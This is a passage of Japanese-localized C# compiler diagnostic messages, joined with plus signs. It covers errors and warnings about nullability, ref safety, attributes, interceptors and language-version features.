ステートメントの引数であるローカルへの代入が正しくない可能性があります + 必要なメンバー '{0}' は、包含する型が古い形式であるか、すべてのコンストラクターが古い形式でない限り、属性 'ObsoleteAttribute' が必要ありません。 + 静的な匿名関数に '{0}' への参照を含めることはできません。 + コントロールが finally 句の本体から出られません + パラメーター '{0}' は外側の型の状態にキャプチャされ、その値も基底コンストラクターに渡されます。この値は、基底クラスでもキャプチャされる可能性があります。 + 構文ノードが構文ツリー内にありません + 参照渡しの返却は、参照で返すメソッドでのみ使用できます + Null 参照戻り値である可能性があります。 + 型 '{3}' を、ジェネリック型またはメソッド '{0}' 内で型パラメーター '{2}' として使用することはできません。型引数 '{3}' の Null 許容性が制約型 '{1}' と一致しません。 + 指定された式は指定されたパターンと常に一致します。 + 型 '{0}' を const 宣言することはできません + 関数ポインター値を比較しない + 非同期メソッドには ref、in、out パラメーターを指定できません + コントロールは switch の最後の case ラベル ('{0}') から出ることができません + '{0}' の using ディレクティブは、この名前空間で既に使用されています + プロパティ、インデクサー、またはイベント '{0}' はこの言語でサポートされていません。アクセサー メソッドの '{1}' を直接呼び出してください + プロパティ、インデクサー、またはイベント '{0}' はこの言語でサポートされていません。アクセサー メソッドの '{1}' または '{2}' を直接呼び出してください + '{0}': インターフェイスとの間におけるユーザー定義の変換は許可されていません + refonly を使用する場合は、refout を使用しないでください。 + ref、out、in パラメーター '{0}' は、匿名メソッド、ラムダ式、クエリ式、ローカル関数の内部では使用できません + 式の結果が常に 'null' です + モジュール '{0}' の生成に失敗しました: {1} + スロー式 + メソッド '{0}' は、型 '{2}' のインターフェイス アクセサー '{1}' を実装できません。明示的なインターフェイス実装を使用してください。 + ローカル関数の属性 + エイリアス '{0}' は定義 {1} と競合しています + '{0}' に '{1}' の定義がありません + 整数定数が大きすぎます + ファイルが見つかりませんでした。 + 宣言はこのコンテキストでは許可されていません。 + エントリ ポイントを返す void または int を async にすることはできません + XML コメントに typeparamref タグが存在しますが、その名前に相当する型パラメーターはありません + PDB のローカル名が長すぎます + Guid 属性は ComImport 属性を使って指定する必要があります + パラメーター '{0}' の型における参照型の Null 許容性が、オーバーライドされるメンバーと一致しません。 + catch 句を含む try ブロックの本体で値を生成することはできません + 明示的なインターフェイスの実装に一致するインターフェイス メンバーが複数あります + モジュールまたはライブラリをビルドする場合は /main を指定できません + 非同期 foreach では動的な型のコレクションを使用できません + 戻り値の型における参照型の Null 許容性が、暗黙的に実装されるメンバーと一致しません。 + 種類は、評価の目的でのみ提供されています。将来の更新で変更または削除されることがあります。続行するには、この診断を非表示にします。 + 静的匿名関数 + 引数 {0} は 'ref' または 'in' キーワード (keyword)と共に渡す必要があります + ソース型 '{1}' のクエリ式では後ろに続く from 句で型 '{0}' の式が許可されていません。'{2}' の呼び出しで型を推論できませんでした。 + Null を反映する演算子 + アセンブリ '{0}' および '{1}' は同じメタデータを参照していますが、リンクされている参照 (/link オプションを使用して指定される) は 1 つのみです。いずれかの参照を削除することを検討してください。 + covariant の戻り値 + 共変 + 予期しない引数リストです。 + 'Clone' という名前のメンバーはレコードでは許可されていません。 + 固定サイズ バッファー フィールドは、構造体のメンバーにしかなれません + 式のツリーは、タプル変換を含むことはできません。 + 行の先頭が生文字列リテラルの終了行と同じ空白ではありません。 + インターフェイスの静的な要約メンバー + 構成ファイル '{0}' を読み取れません -- '{1}' + 暗黙的なインデックス インデクサーの呼び出しでは、引数に名前を付けることはできません。 + 非同期ラムダ式を式ツリーに変換することはできません + 型パラメーター '{1}' は 'struct' 制約を含むので、'{0}' の制約として '{1}' を使用することはできません + 'nameof' のインスタンス メンバー + 定義済みの型 '{0}' は定義、またはインポートされていません + 実行時に操作がオーバーフロー '{0}' する可能性があります (オーバーライドするには 'unchecked' 構文を使用してください) + [NotNull] または [DisallowNull] としてマークされた型に対して、Null の可能性がある値を使用することはできない + 静的メンバー上で 'init' アクセサーは有効ではありません + 型引数を null にすることはできません + extern エイリアス宣言は、名前空間で定義された他のすべての要素の前に指定しなければなりません + /platform に対するオプション '{0}' が無効です。anycpu、x86、Itanium、arm、arm64、x64 を指定してください + 属性 '{0}' に対する引数は、有効な識別子である必要があります + ref for ループ変数 + パラメーター '{0}' に適用された CallerMemberNameAttribute は、CallerFilePathAttribute.によってオーバーライドされるため無効となります。 + インライン配列型の要素にアクセスできるのは、暗黙的に 'int'、'System.Index'、または 'System.Range' に変換できる 1 つの引数を使用する場合のみです。 + アクセシビリティに一貫性がありません。戻り値の型 '{1}' のアクセシビリティはデリゲート '{0}' よりも低く設定されています + セキュリティ属性 '{0}' を非同期メソッドに適用することはできません。 + アセンブリ属性とモジュール属性は、句および extern エイリアス宣言を使用する場合を除き、ファイルで定義された他のすべての要素の前に指定しなければなりません + 型は、メタデータで表現できないため、このコンテキストで使用することはできません。 + 間接的なアセンブリの参照があるため、埋め込み相互運用機能アセンブリに対して参照が作成されました + 構造体メンバーは 'this' または他のインスタンス メンバーを参照渡しで返します + アンマネージ型 '{0}' はフィールドに対してのみ有効です。 + 出力ディレクトリを特定できませんでした + 複数行の生文字列リテラルには、少なくとも 1 行のコンテンツが含まれている必要があります。 + is' または 'as' 演算子の 2 番目のオペランドはスタティック型 '{0}' にすることはできません + オーバーロードされた単項演算子 '{0}' に指定できるパラメーター数は 1 です + 安全でない型 '{0}' をオブジェクトの作成に使用することはできません + InterceptsLocationAttribute に指定する行番号と文字番号は正の値である必要があります。 + switch を制御する式の周囲にはかっこが必要です。 + 未割り当ての out パラメーター '{0}' が使用されました + 反変 + パラメーター '{0}' は未読です。 + インターフェイス メンバーに対して、条件付き属性は使用できません + アンボックス変換の結果を変更できません + ref および out はこのコンテキストでは有効ではありません + 終了タグ '{0}' が開始タグ '{1}' と一致しません。 + fixed ステートメントの代入式の右辺はキャスト式ではない可能性があります + ref 拡張メソッド + 読み取り専用フィールド '{0}' のメンバーは変更できません (コンストラクターまたは変数初期化子では可) + '{1}' によって使用されるアセンブリ参照 '{0}' が '{3}' の ID '{2}' と一致すると仮定して、実行時ポリシーを指定する必要がある可能性があります + 演算子 == または != のオペランドとして使用するタプルの型は、カーディナリティが一致している必要があります。しかし、この演算子は、左辺のタプルの型のカーディナリティが {0} で、右辺が {1} です。 + SecurityAction の値 '{0}' は、アセンブリに適用されたセキュリティ属性に対して無効です + '{0}' は、'object' からの想定されるメソッドをオーバーライドしていません。 + 範囲変数 '{0}' が '{0}' の以前の宣言と競合しています + 拡張機能 GetAsyncEnumerator + 型 '{2}' と、入れ子になっているあらゆるレベルのすべてのフィールドは、ジェネリック型またはメソッド '{0}' のパラメーター '{1}' として使用するために、Null 非許容の値型でなければなりません + 型または名前空間の名前 '{0}' が見つかりませんでした (using ディレクティブまたはアセンブリ参照が指定されていることを確認してください) + コンテキスト キーワード 'on' が必要です + コンテキスト キーワード 'by' が必要です + 型 '{3}' はジェネリック型またはメソッド '{0}' 内で型パラメーター '{2}' として使用できません。'{3}' から '{1}' へのボックス変換がありません。 + 拡張メソッドはスタティックでなければなりません + XML コメントの cref 属性の戻り値の型が無効です + '{0}' は旧形式です ('{1}') + アセンブリ {0} にアナライザーは含まれていません。 + 非同期反復子メソッドの本体には 'yield' ステートメントを含める必要があります。 + 共変 + 間接的な参照がアセンブリ '{1}' によって作成されたため、埋め込み相互運用機能アセンブリ '{0}' への参照が作成されました。いずれかのアセンブリで '相互運用型の埋め込み' プロパティを変更することを検討してください。 + ソース ファイルは、PDB 内で表せる 16,707,565 行の限界を超えているため、デバッグ情報は不正確になります + (コレクション) + System.Runtime.CompilerServices.DynamicAttribute' は使用しないでください。キーワード 'dynamic' を使用してください。 + 'アセンブリには属性 CLSCompliant がないため、'{0}' をCLS 準拠として設定できません + '{1}' は return ステートメントを介してのみ現在のメソッドをエスケープできるため、'{1}' を '{0}' に ref 割り当てすることはできません。 + 指定された言語バージョンがサポートされていないか無効です: '{0}'。 + 式または宣言文が必要です。 + パラメーター '{0}' の 'scoped' 修飾子が部分メソッド宣言と一致しません。 + プロパティまたはインデクサー '{0}' は読み取り専用であるため、割り当てることはできません + メソッド、デリゲート、または関数ポインターの戻り値の型を '{0}' にすることはできません + 識別子または単純なメンバー アクセスが必要です。 + これは、ローカル変数 '{0}' を参照渡しで返しますが、ref ローカル変数ではありません + 複数回指定されたアナライザー参照 + 部分メソッド宣言には、型パラメーターの制約に NULL 値の許容の矛盾があります + アクセシビリティに一貫性がありません。フィールド型 '{1}' のアクセシビリティはフィールド '{0}' よりも低く設定されています + /pdb オプションでは、/debug オプションも使用する必要があります + 'is' 式の指定された式は常に指定された型です + グローバル using ディレクティブを名前空間宣言で使用することはできません。 + #pragma + 呼び出し規則として使用する型 '{0}' はパブリックでなければなりません。 + 必要なメンバー '{0}' は設定可能である必要があります。 + リンクされたリソースとモジュールにはそれぞれ、一意のファイル名があります。ファイル名 '{0}' はこのアセンブリで複数回指定されています。 + 割り当てられたインスタンスへの参照がすべてスコープ外になる前に、そのインスタンスの System.IDisposable.Dispose() を呼び出します + プロパティまたはインデクサー '{0}' の両方のアクセサーで 'readonly' 修飾子を指定することはできません。代わりに、プロパティ自体に 'readonly' 修飾子を指定してください。 + プロパティ アクセサーで廃止 + 補間された文字列ハンドラー メソッド '{0}' の戻り値の型が一致しません。'{1}' を返す必要があります。 + 式ツリーのラムダには、引数で ref を省略した COM 呼び出しを含めることはできません + params パラメーターは、{0} として宣言することはできません + foreach ステートメントには、型と識別子の両方が必要です + 引数 {0}: は '{1}' から '{2}' へ変換することはできません + 名前付き引数は、すべての固定引数を指定した後に指定する必要があります。末尾以外の名前付き引数を許可するには、言語バージョン {0} 以上を使用してください。 + 文字列の先頭は引用符文字である必要があります: " + メソッド '{1}' の型パラメーター '{0}' に対する制約は、インターフェイス メソッド '{3}' の型パラメーター '{2}' に対する制約と一致しなければなりません。明示的なインターフェイスの実装を使用することをお勧めします。 + 範囲変数 '{0}' を参照渡しで返すことはできません + 型における参照型の Null 許容性が、実装されるメンバー '{0}' と一致しません。 + アンセーフ コードは反復子には記述できません + インターセプターに 'UnmanagedCallersOnlyAttribute' を設定することはできません。 + NULL 許容参照型では typeof 演算子を使用できません + __arglist 構文は可変個の引数メソッド内でのみ有効です + '{0}' と '{1}' が暗黙的に変換し合うため、条件式の型がわかりません + [NotNull] または [DisallowNull] としてマークされた型に対して、Null の可能性がある値を使用することはできません + 補間された文字列ハンドラー + 'new' はタプル型では併用できません。代わりに、タプル リテラル式を使用します。 + 予期しないトークン '{0}' + 式は、代替 ref 値と一致するために、型 '{0}' である必要があります + このコンテキストでは、トップレベルのステートメントで宣言されたローカル変数またはローカル関数 '{0}' を使用することはできません。 + '{0}': シール型 '{1}' から派生することはできません + 'in' パラメーターに対応する引数 {0} の 'ref' 修飾子が 'in' と同じです。代わりに 'in' を使用することを検討してください。 + 入れ子になった式の stackalloc + デバッグ エントリ ポイントは、現在のコンパイルで宣言されたメソッドの定義でなければなりません。 + 部分的な構造体の複数の宣言内にあるフィールド間に定義された順序がありません + '{1}' によって使用されるアセンブリ参照 '{0}' が '{3}' の ID '{2}' と一致すると仮定して、実行時ポリシーを指定する必要がある可能性があります + 戻り値の型における参照型の Null 許容性が、実装されるメンバーと一致しません。 + メソッド グループを関数ポインターに変換できません ('&' が抜けていないか確認してください) + XML コメントには '{0}' の typeparam タグがありますが、その名前に相当するパラメーターはありません + 属性パラメーター '{0}' または '{1}' を指定する必要があります。 + 属性パラメーター '{0}' を指定する必要があります。 + 式のようなメソッド + インスタンス メンバー内に ref に似た型を持つプライマリ コンストラクター パラメーター '{0}' を使用することはできません + オプションの引数が許可されないコンテキストで使用されるメンバーに適用されるため、CallerFilePathAttribute は無効になります + /refout または /refonly を使用する場合は、ネット モジュールをコンパイルできません。 + 型 '{3}' はジェネリック型またはメソッド '{0}' 内で型パラメーター '{2}' として使用できません。Null 許容型 '{3}' は、'{1}' の制約を満たしていません。Null 許容型はインターフェイス制約を満たすことはできません。 + 組み込みコメント ファイルの中の XML 形式が正しくありません + 名前空間 '{1}' は、エイリアス '{0}' と競合する定義を含んでいます + 無効なアセンブリ名: {0} + 式ツリーに discard を含めることはできません。 + not パターン + Argument should be passed with the 'in' keyword + is' を 'dynamic' との互換性をテストするために使用することは、'Object' との互換性をテストすることと実質的に同じです + 部分メソッド '{0}' にはアクセシビリティ修飾子が指定されているため、実装部分が必要です。 + using namespace' ディレクティブは名前空間に対してのみ適用できます。'{0}' は名前空間ではなく型です。代わりに 'using static' ディレクティブを使用することを検討してください。 + 読み取り専用フィールド '{0}' のメンバーを ref 値または out 値として使用することはできません (コンストラクターでは可) + コマンドラインの構文エラー: オプション '{1}' の GUID 形式 '{0}' が無効です + is 型の式の中で型を参照するために '_' を使用しないでください。 + 既定のリテラル 'default' はパターンとして無効です。必要に応じて別のリテラル (例: '0' または 'null') をご使用ください。すべてと一致させるには、破棄パターン '_' をご使用ください。 + 属性 cref 内では、入れ子型のジェネリック型を修飾する必要があります。 + CallerLineNumberAttribute は、既定値を含むパラメーターにのみ適用できます + 型 '{1}' の値が型 '{2}' の 'null' に等しくなることはないので、式の結果は常に '{0}' になります + 反復子から値を返すことができません。yield return ステートメントを使用して値を返すか、yield break ステートメントを使用して反復子を終了してください。 + ジェネレーターはソースを生成できませんでした。 + 'disable' または 'restore' を指定してください + オプション '{0}' は絶対パスにする必要があります。 + /subsystemversion のバージョン {0} は無効です。バージョンは、ARM または AppContainerExe の場合は 6.02 以上、それ以外の場合は 4.00 以上である必要があります。 + 初期化子のメンバー宣言子が無効です + enum ジェネリック型の制約 + pathmap オプションが正しく書式設定されていませんでした。 + 固定サイズ バッファーの型は次のうちの 1 つでなければなりません: bool、byte、short、int、long、char、sbyte、ushort、uint、ulong、float または double + パラメーター '{1}' によって参照される変数が宣言のスコープ外に公開される可能性があるため、'{0}' に対してこの引数の組み合わせは許可されません + 定数値 '{0}' を '{1}' に変換できません + 引数 {0} はキーワード '{1}' と共に渡すことはできません + get アクセサーにアクセスできないため、プロパティまたはインデクサー '{0}' はこのコンテキストでは使用できません + ローカル関数 + プロパティを返す参照は必要ありません。 + タプル + extern エイリアス + 無効な XML のインクルード要素です -- {0} + 言語バージョン '{0}' 以上を使用していない限り、null 許容の型パラメーターは値の型または null 非許容の参照型であることがわかっている必要があります。言語バージョンを変更するか、'class'、'struct'、または型制約を追加することをご検討ください。 + 配置の値は、大型のフォーマットの文字列になる可能性がある大きさです + 式ツリーにインライン配列アクセスまたは変換を含めることはできません + キャッチ、または スローされた型は System.Exception から派生したものでなければなりません。 + ソース ファイルが指定されていません + 公開署名が指定されると、属性 '{0}' は無視されます。 + 長さ {0}、型 '{1}' の固定サイズ バッファーは大きすぎます + '{0}' はこの言語でサポートされていないため、'{1}' で実装できません + 機能 '{0}' は C# 8.0 では使用できません。言語バージョン {1} 以上を使用してください。 + 機能 '{0}' は C# 9.0 では使用できません。言語バージョン {1} 以上を使用してください。 + 機能 '{0}' は C# 2 では使用できません。{1} 以上の言語バージョンをお使いください。 + 機能 '{0}' は C# 3 では使用できません。{1} 以上の言語バージョンをお使いください。 + 機能 '{0}' は C# 1 では使用できません。{1} 以上の言語バージョンをお使いください。 + 機能 '{0}' は C# 6 では使用できません。{1} 以上の言語バージョンをお使いください。 + 機能 '{0}' は C# 7.0 では使用できません。{1} 以上の言語バージョンをご使用ください。 + 機能 '{0}' は C# 4 では使用できません。{1} 以上の言語バージョンをお使いください。 + 機能 '{0}' は C# 5 では使用できません。{1} 以上の言語バージョンをお使いください。 + メソッド '{0}' は、型パラメーター '{1}' に対して 'struct' 制約を指定していますが、オーバーライドされた、または明示的に実装されたメソッド '{3}' の対応する型パラメーター '{2}' は NULL 非許容の値型ではありません。 + /LIB オプション + 戻り値の型が void でないため、条件付き属性は '{0}' では無効です + '{0}' に 'this' パラメーターがないため、インターセプターに 'this' パラメーターを指定することはできません。 + 種類のパターン + 型 '{0}' の using ステートメント リソースは、非同期メソッドまたは非同期ラムダ式では使用できません。 + DllImport 属性は、ジェネリックであるメソッドに適用することも、ジェネリック メソッドまたは型に含めることもできません。 + パラメーターなしの構造体コンストラクターは 'パブリック' でなければなりません。 + 未割り当てのローカル変数 '{0}' が使用されました + 参照を返さないプロパティまたはインデクサーを out 値または ref 値として使用することはできません + メンバーは、実行時に複数のオーバーライド候補がある基本メンバーをオーバーライドします + '{1}' であるため、'{0}' を参照渡しで返すことはできません + ReflectionTypeLoadException のために失敗したアナライザーのアセンブリ内の型の読み込みをスキップします + インライン配列要素フィールドは、必須、読み取り専用、揮発性、または固定サイズ バッファーとして宣言できません。 + [DoesNotReturn] とマークされたメソッドの返却禁止。 + トップレベルのステートメントを持つことができるのは、1 つのコンパイル ユニットのみです。 + '{0}' 型のパラメーターまたはローカルは、非同期メソッドまたは非同期ラムダ式で宣言することができません。 + 部分メソッド '{0}' の実装宣言に対する定義宣言が見つかりませんでした + 既定のインターフェイスの実装 + 型 '{0}' への参照では、このアセンブリで定義されていると指定されていますが、ソースまたは追加モジュール内では定義されていません + フレンド アセンブリ名に null を渡すことはできません + 指定されている既定値は、省略可能な引数を許可しないコンテキストで使用されるメンバーに適用されるため、効果がありません + パラメーターが null 以外であるため、戻り値は null 以外でなければなりません。 + 空の switch ブロックです + '{0}': 抽象型を sealed または static に指定することはできません + Finalize' メソッドを導入すると、デストラクターの呼び出しに影響する可能性があります + すべてのフィールドが割り当てられる前に、'this' オブジェクトを使用することはできません。割り当てられていないフィールドを自動既定値にするため '{0}' 言語バージョンに更新することを検討してください。 + '@' 文字のシーケンスは使用できません。逐語的文字列または識別子に使用できる '@' 文字は 1 つだけです。生文字列には何も含めることはできません。 + ソース ファイルには、ファイルスコープ付きの名前空間の宣言を 1 つだけ含めることができます。 + 指定された式は指定されたパターンと常に一致します。 + fixed または using ステートメントの宣言の中に、初期化子を指定してください + ++ または -- 演算子の戻り値の型は、パラメーター型と一致するか、パラメーター型から派生する必要があります + 変性が無効です: 型のパラメーター '{1}' は '{0}' で有効な {3} である必要があります。'{1}' は {2} です。 + 必要なメンバーは、スクリプトまたは送信の最上位レベルでは許可されていません。 + '{0}': 動的な型との間でユーザー定義の変換を行うことはできません + AppConfigPath は絶対パスである必要があります。 + 自動プロパティ上でフィールドをターゲットとする属性を使用することは、言語バージョン {0} ではサポートされていません。{1} 以上の言語バージョンをお使いください。 + '{0}': 抽象イベントはイベント アクセサーの構文を使用できません + 属性 [EnumeratorCancellation] を複数のパラメーターで使用することはできません + このコンテキストで '{0}' の結果のメンバーを使用すると、パラメーター '{1}' によって参照される変数が宣言のスコープ外に公開される可能性があります + パラメーター '{0}' に適用された CallerFilePathAttribute は、CallerLineNumberAttribute によってオーバーライドされるため無効となります。 + empty ステートメントが間違っている可能性があります + ラムダ属性 + 属性を含むラムダ式は、式ツリーに変換できません + 型 '{3}' はジェネリック型またはメソッド '{0}' 内で型パラメーター '{2}' として使用できません。'{3}' から '{1}' へのボックス変換または型パラメーター変換がありません。 + コメント ファイルの中の XML 形式が正しくありません -- '{0}' + リレーショナル パターンは、浮動小数点の NaN に使用することはできません。 + 自動実装プロパティは、オーバーライドされたプロパティのすべてのアクセサーをオーバーライドする必要があります。 + キーワード 'enum' は制約として使用できません。'struct, System.Enum' のつもりでしたか? + サブ式は nameof への引数に使用できません。 + Ref 条件演算子のブランチでは、互換性のない宣言スコープを持つ変数を参照できません + 固定サイズ バッファー フィールドには、フィールド名の後に配列サイズの指定子が必要です + 関数ポインター + #warning ディレクティブ + 引数 {1} を指定するメソッド '{0}' のオーバーロードはありません + 角かっこ [] 付きインデックスを '{0}' 型の式に適用することはできません + #line ディレクティブの値が見つからないか、範囲外です + Attribute parameter 'SizeConst' must be specified. + '{0}' は有効な制約ではありません。制約として使用された型はインターフェイス、非シール クラス、または型パラメーターでなければなりません。 + '{0}' は cref 属性内のあいまいな参照です。'{1}' を仮定しますが、'{2}' を含む別のオーバーロードに一致した可能性もあります。 + クラス '{0}' は複数の基底クラス ('{1}' と '{2}') を持つことができません + '{0}' は Object.Equals(object o) をオーバーライドしますが、Object.GetHashCode() をオーバーライドしません。 + インターセプターに 'null' ファイル パスを指定することはできません。 + using ディレクティブは不要です。 + 必要なシグネチャを持つアクセス可能な '{0}' メソッドが見つかりませんでした:'ReadOnlySpan<{1}>' 型の単一パラメーターを持つ静的メソッドと戻り値の型 '{2}'。 + 現在のコンテキストに '{0}' という名前は存在しません + break または continue に対応するループがありません + 明示的なインターフェイスの実装 '{0}' に一致するインターフェイス メンバーが 2 つ以上あります。どのインターフェイスが実際選択されるかは実装に依存しています。代わりに、明示的ではない実装の使用をお勧めします。 + パラメーター '{0}' の型における参照型の NULL 値の許容が、実装されるメンバー '{1}' と一致しません。おそらく、NULL 値の許容の属性が原因です。 + 未定義のエンティティ '{0}' への参照です。 + XML コメントの XML 形式が正しくありません -- '{0}' + 参照渡しで返すプロパティは get アクセサーを持たなければなりません + 'ObsoleteAttribute' 属性を持つメンバーは、包含する型が古い形式であるか、すべてのコンストラクターが古い形式でない限り、必要ありません。 + アクセシビリティに一貫性がありません。基底インターフェイス '{1}' のアクセシビリティはインターフェイス '{0}' よりも低く設定されています + 式ツリーは、匿名メソッド式を含むことはできません + ラムダ式 + パラメーターは外側の型の状態にキャプチャされ、その値も基底コンストラクターに渡されます。この値は、基底クラスでもキャプチャされる可能性があります。 + 型、名前空間の定義、またはファイルの終わりが必要です + 未終了の文字列です + 無効な制約型です。制約として使用された型はインターフェイス、非シール クラス、または型パラメーターでなければなりません。 + 'is' または 'as' 演算子の 2 番目のオペランドは static 型にすることはできません + 型の規定値が null であるため、式は常に System.NullReferenceException になります + UnscopedRefAttribute をインターフェイスの実装に適用することはできません。 + is' と 'as' のどちらもポインター型では無効です + 型パラメーターの名前は、外の型からの型パラメーターと同じ名前です + 生文字列リテラルに十分な数の引用符がありません。 + '{0}': CLS 準拠のインターフェイスは CLS 準拠メンバーのみを含まなければなりません + 匿名メソッド式を式ツリーに変換することはできません + ソース ファイルが複数回指定されました + コメントで正しくない構文が使用されました。 + 拡張 Add メソッドは、ラムダ式のコレクション初期化子ではサポートされていません。 + '{0}' 属性は、明示的なインターフェイス メンバー宣言ではないインデクサー上でのみ有効です + '{0}' は属性クラスではありません + この型を、ジェネリック型またはメソッド内で型パラメーターとして使用することはできません。型引数の Null 許容性が 'notnull' 制約と一致しません。 + 定数の式では匿名型を使用できません + 式とステートメントはメソッド本体でのみ発生します + '{0}' 型は 'using static' では無効です。使用できるのは、クラス、構造体、インターフェイス、列挙型、デリゲート、名前空間のみです。 + '{0}' の型は CLS に準拠していません + '{1}' および '{2}' のオペランドの演算子 '{0}' があいまいです + 引数型 '{0}' は CLS に準拠していません + params パラメーターは 1 次元配列でなければなりません + プログラムのエントリ ポイントは、グローバル コードです。エントリ ポイント '{0}' を無視します。 + 抽象基本メンバーを呼び出すことはできません:'{0}' + Null 非許容の値型である可能性があるため、Null を型パラメーター '{0}' に変換できません。'default({0})' を使用してください。 + 機能は標準 ISO C# 言語仕様の一部ではありません。別のコンパイラでは受け入れられない可能性があります + メソッド グループの '&' を式ツリーで使用することはできません + fixed ステートメントで宣言されたローカルの型を関数ポインター型にすることはできません。 + 指定されたパラメーター型 {0} と {1} パラメーター参照の種類。これらの配列は同じ長さである必要があります。 + ローカル変数 '{0}' は ref ローカル変数ではないため、そのメンバーを参照渡しで返すことはできません + null 非許容のフィールドには、コンストラクターの終了時に null 以外の値が入っていなければなりません。Null 許容として宣言することをご検討ください。 + '{0}' には基底クラスがないため、基底コンストラクターを呼び出せません + '{0}' に最も適しているオーバーロード メソッドには、初期化子要素の正しくないシグネチャが含まれます。初期化可能な Add は、アクセス可能なインスタンス メソッドでなければなりません。 + 公開署名が指定され、公開キーを必要としますが、公開キーは指定されていません。 + パラメーターの型における参照型の NULL 値の許容が、暗黙的に実装されるメンバーと一致しません。おそらく、NULL 値の許容の属性が原因です。 + 戻り値の型における参照型の NULL 値の許容が、実装されるメンバー '{0}' と一致しません。おそらく、NULL 値の許容の属性が原因です。 + ) が必要です + ソース ファイル '{0}' が見つかりませんでした。 + プロパティ + '{0}' 値が無効です: C# {2} に対する '{1}'。言語バージョン '{3}' 以上をご使用ください。 + 読み取り専用であるため、'{0}' を参照渡しで返すことはできません + レシーバーが '&' 演算子の対象となっている拡張メソッドを使用することはできません。 + パラメーター '{0}' に適用された CallerArgumentExpressionAttribute は、CallerFilePathAttribute によってオーバーライドされるため無効となります。 + void に変換されデリゲートを返す匿名関数は、値を返すことができません + パターン内で型 'dynamic' を使用することはできません。 + {0} '{1}' は、読み取り専用の変数であるため、ref 値または out 値として使用することはできません + デストラクター と object.Finalize を直接呼び出すことはできません。使用可能であれば IDisposable.Dispose を呼び出してください。 + ターゲットのランタイムは、インターフェイス内の静的な抽象メンバーをサポートしていないため、'{0}' は型 '{2}' のインターフェイス メンバー '{1}' を実装できません。 + 署名が一致しないため、インターセプター '{1}' でメソッド '{0}' をインターセプトできません。 + 文字リテラルに文字が多すぎます + SyntaxTree はコンパイルの一部ではありません + 異なる #pragma チェックサム値が指定されています + SecurityAction の値 '{0}' が属性 PrincipalPermission に対して無効です + 不適切な配列の宣言子: マネージ配列を宣言するには、次元指定子を変数の識別子の前に指定します。固定サイズ バッファー フィールドを宣言するには、フィールド型の前に fixed キーワードを使用します。 + '{0}' の partial 宣言では、同じ型パラメーター名と変性修飾子を同じ順序で指定しなければなりません + '{0}' は特殊クラス '{1}' から派生することはできません + '{0}' は '{1}' を返す非同期メソッドであるため、return キーワードの後にオブジェクト式を続けてはなりません + '{0}' は読み取り専用なので、ref 値または out 値として使用できません + オブジェクトまたはコレクション初期化子が、null の可能性があるメンバー '{0}' を暗黙的に逆参照しています。 + ソース型 '{0}' のクエリ パターンの実装が見つかりませんでした。'{1}' が見つかりません。 + CallerMemberNameAttribute は、既定値を含むパラメーターにのみ適用できます + 型がインポートされた名前空間と競合しています + XML コメントには '{0}' の param タグがありますが、その名前に相当するパラメーターはありません + 型パラメーターの型は、外のメソッドからの型パラメーターと同じ型です。 + パラメーター '{0}' は明示的に指定されていませんが、パラメーター '{1}' で補間された文字列ハンドラーの変換への引数として使用されています。'{1}' の前に '{0}' の値を指定してください。 + 公開されている型またはメンバーの XML コメントがありません + 型 '{1}' を含むアセンブリ '{0}' が .NET Framework を参照しています。これはサポートされていません。 + 整数定数への比較は無意味です。定数が型の範囲外です + この型を、ジェネリック型またはメソッド内で型パラメーターとして使用することはできません。型引数の Null 許容性が制約型と一致しません。 + 型は演算子 == または演算子 != を定義しますが、Object.GetHashCode() をオーバーライドしません + インスタンスがソースに表示されるため、属性は無視されます + ソース ファイル '{0}' を開くことができませんでした -- {1} + 属性 '{0}' はこの宣言型では無効です。'{1}' 宣言でのみ有効です。 + 式ツリーに null 合体代入を含めることはできません + ローカルまたはパラメーター '{0}' は、その名前が外側のローカルのスコープでローカルやパラメーターの定義に使用されているため、このスコープでは宣言できません + '{0}' の型は '{1}' です。文字列以外の参照型の既定のパラメーター値は null でのみ初期化できます。 + アセンブリ '{0}' には '{1}' 属性または '{2}' 属性が指定されていないため、このアセンブリから相互運用型を埋め込むことはできません。 + '{1}' のパラメーター '{0}' の型における参照型の NULL 値の許容が、ターゲット デリゲート '{2}' と一致しません。おそらく、NULL 値の許容の属性が原因です。 + 制約型 '{0}' は CLS に準拠していません + 補間された文字列ハンドラー構築で動的を使用することはできません。'{0}' のインスタンスを手動で構築してください。 + 静的フィールドまたはプロパティ '{0}' をオブジェクト初期化子に割り当てることはできません + '{0}' 属性が重複しています + 属性 '{0}' は、System.Attribute から派生したクラスでのみ有効です。 + ref 条件演算子のブランチでは、互換性のない宣言スコープを持つ変数を参照します + 予期しない文字シーケンス '...' + メソッド '{1}' の型パラメーター '{0}' に対する制約の Null 許容性が、インターフェイス メソッド '{3}' の型パラメーター '{2}' に対する制約と一致しません。明示的なインターフェイスの実装を使用することをお勧めします。 + 構造体型の null と比較するといつも 'false' を生成します + 属性 RequiredAttribute は C# 型で許可されていません + コンパイラが生成するものを含む 65534 のローカルのみが許可されています + volatile フィールドは、通常は ref 値または out 値として使用しないでください。このフィールドは、volatile として扱われないためです。ただしこれには、インタロック API の呼び出しのときなど、例外もあります。 + 型における参照型の Null 許容性が、オーバーライドされるメンバーと一致しません。 + アセンブリ '{1}' および '{2}' の両方に見つかった相互運用型 '{0}' は埋め込むことができません。'相互運用機能型の埋め込み' プロパティを false に設定することを検討してください。 + パスが長すぎるか、無効です + '{1} {0}' には、不適切な戻り値の型が指定されています + 一部の条件で終了するとき、メンバーには null 以外の値が含まれている必要があります。 + パラメーター '{0}' の型における参照型の Null 許容性が、実装されるメンバー '{1}' と一致しません。 + 型は、コレクション パターンを実装しません。メンバーには正しくないシグネチャが含まれます + async main + メンバー '{0}' はアセンブリ '{2}' の型 '{1}' に見つかりませんでした。 + この位置では、終了タグは不要でした。 + '{1}': 静的クラス '{0}' から派生することはできません + 'UnmanagedCallersOnly' という属性を持つメソッドは、ジェネリック型パラメーターを持つことができません。また、ジェネリック型で宣言することはできません。 + 参照渡しのマーシャリングクラスのフィールドであるため、'{0}' のメンバーにアクセスすると、ランタイム例外が発生する可能性があります + 式が必要です + フレンド アクセスのアクセス権は '{0}' によって付与されますが、出力アセンブリ ('{1}') の公開キーは、付与するアセンブリで InternalsVisibleTo 属性によって指定される公開キーと一致しません。 + '{0}' はこの言語でサポートされていない型です + モジュール初期化子メソッド '{0}' は、static でなければならず、仮想であってはならず、パラメーターを持ってはならず、'void' を返す必要があります + 反復子ブロックを伴うメソッド '{0}' が '{1}' を返すには 'async' でなければなりません + 式はブール型に暗黙的に変換できるか、式の型 '{0}' で演算子 '{1}' を定義する必要があります。 + オブジェクトは複数回破棄することができます + パラメーター '{0}' 